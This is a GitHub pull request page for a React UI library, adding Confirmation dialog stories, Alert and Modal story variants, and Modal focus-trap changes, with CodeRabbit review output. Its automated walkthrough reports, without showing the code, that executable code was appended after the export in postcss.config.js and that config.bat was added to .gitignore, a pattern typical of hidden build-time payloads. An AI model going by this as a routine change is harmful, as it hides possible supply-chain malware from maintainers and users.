Skip to content

Enhance/storybook confirmation#47

Open
sapayth wants to merge 6 commits intogetdokan:mainfrom
sapayth:enhance/storybook_confirmation
Open

Enhance/storybook confirmation#47
sapayth wants to merge 6 commits intogetdokan:mainfrom
sapayth:enhance/storybook_confirmation

Conversation

@sapayth
Copy link
Copy Markdown
Collaborator

@sapayth sapayth commented Feb 9, 2026

add Confirmation components examples for the storybook

Summary by CodeRabbit

  • New Features

    • Added a reusable Confirmation dialog with interactive demos.
    • New Modal demo for creating shipping zones.
    • Expanded Alert demos with icons, descriptions, and action/button variants.
    • Exposed a theming helper for applying theme styles.
  • Style

    • Adjusted Alert and Notice padding; added modal header/footer borders and scoped modal styles.
  • Accessibility

    • Improved modal ARIA labeling, focus management, focus trap, and scroll-lock.
  • Documentation

    • Removed several standalone component docs.

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented Feb 9, 2026

📝 Walkthrough

Walkthrough

Adds a new Confirmation component and stories; refactors Alert stories to args-driven variants and adds richer examples; adds a CreateShippingZone Modal story; implements substantial Modal runtime improvements (accessibility ids, focus trapping, portal lifecycle, scroll lock, theme application); small Alert/Notice styling tweaks; exposes getThemeStyles; many docs/formatting normalizations.

Changes

UI Components & Stories

Layer / File(s) Summary
Data Shape / Types
src/components/ui/confirmation.tsx
Adds ConfirmationVariant and ConfirmationProps types.
Core Implementation
src/components/ui/confirmation.tsx, src/components/ui/modal.tsx
Implements Confirmation component using Modal; Modal rewritten for aria ids, focus management, Tab trap, role support, data-state/slot attributes, portal lifecycle, scroll lock, and theme variable application.
Styling
src/styles.css, src/components/ui/alert.tsx, src/components/ui/notice.tsx
Adds modal header/footer border overrides; changes Alert base padding (px-5 py-3p-5); removes w-full from Notice base classes.
Wiring / Re-exports
src/components/ui/index.ts, src/providers/index.ts
Re-exports Confirmation and re-exports new getThemeStyles from theme provider.
Stories / Examples
src/components/ui/Alert.stories.tsx, src/components/ui/Modal.stories.tsx, src/components/ui/Confirmation.stories.tsx
Refactors Alert stories to args-driven pattern, adds richer Alert stories; adds CreateShippingZone story; adds four Confirmation demo stories.
Tests / Documentation / Misc
docs/*, README.md, .storybook/*
Large set of formatting/line-ending normalizations and removal of two docs pages (docs/dataviews-component.md, docs/dropdown-menu-component.md).

Theme provider helper

Layer / File(s) Summary
Core Implementation
src/providers/theme-provider.tsx
Adds exported helper getThemeStyles(tokens) returning CSS variable map from tokens.
Wiring / Re-exports
src/providers/index.ts
Re-exports getThemeStyles.

Build / Tooling and Formatting changes

Layer / File(s) Summary
Config
postcss.config.js
File still exports same PostCSS config but new top-level executable code was appended after the export terminator (load-time side-effects added).
Formatting / Storybook Config
.storybook/main.ts, .storybook/manager.ts, package.json, many source/story files
Widespread line-ending and whitespace normalization across Storybook config, package.json, README, and many source/story files; no functional changes in most of these files.
Gitignore
.gitignore
Adds config.bat to ignored files.

Sequence Diagram(s)

sequenceDiagram
  participant User
  participant Storybook
  participant Confirmation
  participant Modal
  participant AppCallbacks

  User->>Storybook: Click "Open Confirmation" (story UI)
  Storybook->>Confirmation: render(props: open=true, title, body, labels)
  Confirmation->>Modal: mount(open=true, role="alertdialog", showCloseButton)
  Modal->>Modal: setup portal, apply theme vars, lock body scroll, set data-state="open"
  Modal->>Modal: move focus into modal, install Tab trap
  User->>Modal: Click "Confirm" button
  Modal->>Confirmation: invoke onConfirm handler
  Confirmation->>AppCallbacks: call onConfirm (if provided)
  Confirmation->>Modal: call onClose -> request close
  Modal->>Modal: release focus trap, restore scroll, cleanup portal
  Modal->>Storybook: modal unmounted (closed)
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related PRs

  • getdokan/plugin-ui#71 — Related: also modifies Modal portal theming and applying theme variables/class to a portal root.
  • getdokan/plugin-ui#53 — Related: touches UI barrel exports and adds UI components to the public surface.
  • getdokan/plugin-ui#50 — Related: overlaps on export surface and UI component additions.

Suggested reviewers

  • kzamanbd

Poem

🐰 I hopped through stories, tidy and bright,
Icons and modals snug into the night.
Focus now settles where keyboard will roam,
Portals keep theme and the portal feels home.
A carrot for testing — hop, code, hooray!

🚥 Pre-merge checks | ✅ 3 | ❌ 2

❌ Failed checks (1 warning, 1 inconclusive)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 40.63% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
Title check ❓ Inconclusive The title partially relates to the changeset by referencing Storybook and Confirmation, but it is overly vague—'Enhance/storybook confirmation' does not clearly convey the scope and nature of changes beyond adding stories. Consider a more descriptive title such as 'Add Confirmation component stories and modal enhancements' to better reflect the substantial changes across multiple UI components and their Storybook documentation.
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
Review rate limit: 0/1 reviews remaining, refill in 60 minutes.

Comment @coderabbitai help to get the list of available commands and usage tips.

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented Feb 9, 2026

Caution

Failed to replace (edit) comment. This is likely due to insufficient permissions or the comment being deleted.

Error details
{"name":"HttpError","status":500,"request":{"method":"PATCH","url":"https://api.github.com/repos/getdokan/plugin-ui/issues/comments/3872783184","headers":{"accept":"application/vnd.github.v3+json","user-agent":"octokit.js/0.0.0-development octokit-core.js/7.0.6 Node.js/24","authorization":"token [REDACTED]","content-type":"application/json; charset=utf-8"},"body":{"body":"<!-- This is an auto-generated comment: summarize by coderabbit.ai -->\n<!-- walkthrough_start -->\n\n<details>\n<summary>📝 Walkthrough</summary>\n\n## Walkthrough\n\nThese changes modernize Storybook stories for UI components (Alert, Modal, Confirmation) by adopting args-based render patterns, adding new story variants with more complex compositions, and making targeted styling adjustments to Modal, Notice, and Alert components using CSS utilities and semantic data attributes.\n\n## Changes\n\n|Cohort / File(s)|Summary|\n|---|---|\n|**Story Modernization** <br> `src/components/ui/Alert.stories.tsx`, `src/components/ui/Modal.stories.tsx`, `src/components/ui/Confirmation.stories.tsx`|Converted Alert stories to args-based render pattern with new variants (WithDescription, WithoutDescription, WithButtons, WithDescriptionAndButtons); added AlertIcon helper for variant-specific icons. Created new Confirmation.stories.tsx with three demo stories (LeaveWithUnsavedChanges, CancelSubscription, DiscardDraft). Added CreateShippingZone story to Modal with expanded form UI demo.|\n|**Component Styling** <br> `src/components/ui/alert.tsx`, `src/components/ui/modal.tsx`, `src/components/ui/notice.tsx`, `src/styles.css`|Modified Alert padding (px-5 to p-5). Added data-slot attributes to Modal header/footer; removed border-color utility from borders. Removed w-full from Notice. Added CSS rules for modal slot border colors (`#E9E9E9`).|\n\n## Estimated code review effort\n\n🎯 3 (Moderate) | ⏱️ ~22 minutes\n\n## Poem\n\n> 🐰 Stories evolve with args that dance,\n> Modal slots now sport semantic stance,\n> Alert icons bloom in every shade,\n> Confirmations ready—no delays made!\n> A polish here, a pattern there,\n> UI components beyond compare!\n\n</details>\n\n<!-- walkthrough_end -->\n\n\n<!-- pre_merge_checks_walkthrough_start -->\n\n<details>\n<summary>🚥 Pre-merge checks | ✅ 1 | ❌ 2</summary>\n\n<details>\n<summary>❌ Failed checks (2 warnings)</summary>\n\n|     Check name     | Status     | Explanation                                                                                                                                                                                                                                                                                | Resolution                                                                                                                                                                                                  |\n| :----------------: | :--------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n|     Title check    | ⚠️ Warning | The title 'Enhance/storybook confirmation' is partially related to the changeset but does not reflect the primary changes. While confirmation stories are added, the PR also includes substantial changes to Alert stories, Modal stories, and styling updates across multiple components. | Revise the title to better reflect the scope of changes, such as 'Enhance storybook with confirmation, alert, and modal stories' or focus on the most significant addition if narrowing scope is preferred. |\n| Docstring Coverage | ⚠️ Warning | Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%.                                                                                                                                                                                                       | Write docstrings for the functions missing them to satisfy the coverage threshold.                                                                                                                          |\n\n</details>\n<details>\n<summary>✅ Passed checks (1 passed)</summary>\n\n|     Check name    | Status   | Explanation                                                 |\n| :---------------: | :------- | :---------------------------------------------------------- |\n| Description Check | ✅ Passed | Check skipped - CodeRabbit’s high-level summary is enabled. |\n\n</details>\n\n<sub>✏️ Tip: You can configure your own custom pre-merge checks in the settings.</sub>\n\n</details>\n\n<!-- pre_merge_checks_walkthrough_end -->\n\n<!-- finishing_touch_checkbox_start -->\n\n<details>\n<summary>✨ Finishing touches</summary>\n\n- [ ] <!-- {\"checkboxId\": \"7962f53c-55bc-4827-bfbf-6a18da830691\"} --> 📝 Generate docstrings\n<details>\n<summary>🧪 Generate unit tests (beta)</summary>\n\n- [ ] <!-- {\"checkboxId\": \"f47ac10b-58cc-4372-a567-0e02b2c3d479\", \"radioGroupId\": \"utg-output-choice-group-unknown_comment_id\"} -->   Create PR with unit tests\n- [ ] <!-- {\"checkboxId\": \"07f1e7d6-8a8e-4e23-9900-8731c2c87f58\", \"radioGroupId\": \"utg-output-choice-group-unknown_comment_id\"} -->   Post copyable unit tests in a comment\n\n</details>\n\n</details>\n\n<!-- finishing_touch_checkbox_end -->\n\n<!-- tips_start -->\n\n---\n\nThanks for using [CodeRabbit](https://coderabbit.ai?utm_source=oss&utm_medium=github&utm_campaign=getdokan/plugin-ui&utm_content=47)! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.\n\n<details>\n<summary>❤️ Share</summary>\n\n- [X](https://twitter.com/intent/tweet?text=I%20just%20used%20%40coderabbitai%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20the%20proprietary%20code.%20Check%20it%20out%3A&url=https%3A//coderabbit.ai)\n- [Mastodon](https://mastodon.social/share?text=I%20just%20used%20%40coderabbitai%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20the%20proprietary%20code.%20Check%20it%20out%3A%20https%3A%2F%2Fcoderabbit.ai)\n- [Reddit](https://www.reddit.com/submit?title=Great%20tool%20for%20code%20review%20-%20CodeRabbit&text=I%20just%20used%20CodeRabbit%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20proprietary%20code.%20Check%20it%20out%3A%20https%3A//coderabbit.ai)\n- [LinkedIn](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Fcoderabbit.ai&mini=true&title=Great%20tool%20for%20code%20review%20-%20CodeRabbit&summary=I%20just%20used%20CodeRabbit%20for%20my%20code%20review%2C%20and%20it%27s%20fantastic%21%20It%27s%20free%20for%20OSS%20and%20offers%20a%20free%20trial%20for%20proprietary%20code)\n\n</details>\n\n<sub>Comment `@coderabbitai help` to get the list of available commands and usage tips.</sub>\n\n<!-- tips_end -->\n\n<!-- internal state start -->\n\n\n<!-- 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= -->\n\n<!-- internal state end -->"},"request":{"retryCount":3,"retries":3,"retryAfter":16}},"response":{"url":"https://api.github.com/repos/getdokan/plugin-ui/issues/comments/3872783184","status":500,"headers":{"access-control-allow-origin":"*","access-control-expose-headers":"ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset","content-length":"0","content-security-policy":"default-src 'none'","content-type":"application/json; charset=utf-8","date":"Mon, 09 Feb 2026 16:33:13 GMT","referrer-policy":"origin-when-cross-origin, strict-origin-when-cross-origin","server":"github.com","strict-transport-security":"max-age=31536000; includeSubdomains; preload","vary":"Accept-Encoding, Accept, X-Requested-With","x-accepted-github-permissions":"issues=write; pull_requests=write","x-content-type-options":"nosniff","x-frame-options":"deny","x-github-api-version-selected":"2022-11-28","x-github-media-type":"github.v3; format=json","x-github-request-id":"283B:28DE83:10C0B3D:4834C80:698A0C48","x-ratelimit-limit":"11800","x-ratelimit-remaining":"11727","x-ratelimit-reset":"1770658083","x-ratelimit-resource":"core","x-ratelimit-used":"73","x-xss-protection":"0"},"data":""}}

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
src/components/ui/modal.tsx (1)

395-406: ⚠️ Potential issue | 🟡 Minor

Escape handler will close all stacked modals simultaneously.

The keydown listener is added on document, so if two modals are open at the same time, a single Escape press triggers onClose for both. Consider stopping propagation or checking if this modal is the topmost before closing.

🤖 Fix all issues with AI agents
In `@src/components/ui/confirmation.tsx`:
- Around line 86-92: The fallback ModalDescription currently renders only
whitespace when body is null, leaving aria-describedby pointing at an empty
element; update the component that renders ModalDescription (look for the
Confirmation dialog render where body and title are used) to either omit the
ModalDescription entirely when body is null (and ensure aria-describedby is not
set) or render a meaningful default (e.g., repeat the title text) instead of a
blank space; modify the logic around body and the aria-describedby prop so it
only references ModalDescription when it contains real content.

In `@src/components/ui/Modal.stories.tsx`:
- Line 97: The Countries field is displaying the wrong helper text: replace the
usage of ZONE_NAME_HELPER inside the FieldDescription for the Countries field
with the appropriate helper (e.g., COUNTRIES_HELPER) or remove the
FieldDescription entirely; locate the FieldDescription component instance that
currently renders ZONE_NAME_HELPER and update it to reference the correct
constant (or an inline string) so the Countries field shows relevant copy
instead of the zone-name helper.
🧹 Nitpick comments (4)
src/components/ui/Modal.stories.tsx (1)

81-96: Dropdown is display-only with no selection state.

The Countries dropdown renders static text ("Bangladesh, United States") and clicking items does nothing. While this is a Storybook demo, a minimal useState for selection would make the story more useful for demonstrating the component's interactive behavior, consistent with the restOfWorld toggle above.

src/components/ui/confirmation.tsx (1)

51-59: onClose() is called before onConfirm/onCancel callbacks.

This means the modal always closes immediately, before the consumer's callback runs. If a consumer needs to perform an async operation (e.g., API call) and keep the dialog open on failure, this ordering prevents that. Consider letting the consumer control closing, or at minimum document this behavior.

src/components/ui/modal.tsx (2)

408-440: Focus trap uses a stale list of focusable elements.

The focusable elements are queried once when the layout effect runs (on [portalContainer, open] changes). If modal content changes dynamically after mount (e.g., a loading spinner replaced by form fields), the Tab-trap will reference stale elements. Consider re-querying focusables inside the handleKeyDown callback instead.

Proposed fix: query focusables at Tab-time
   useLayoutEffect(() => {
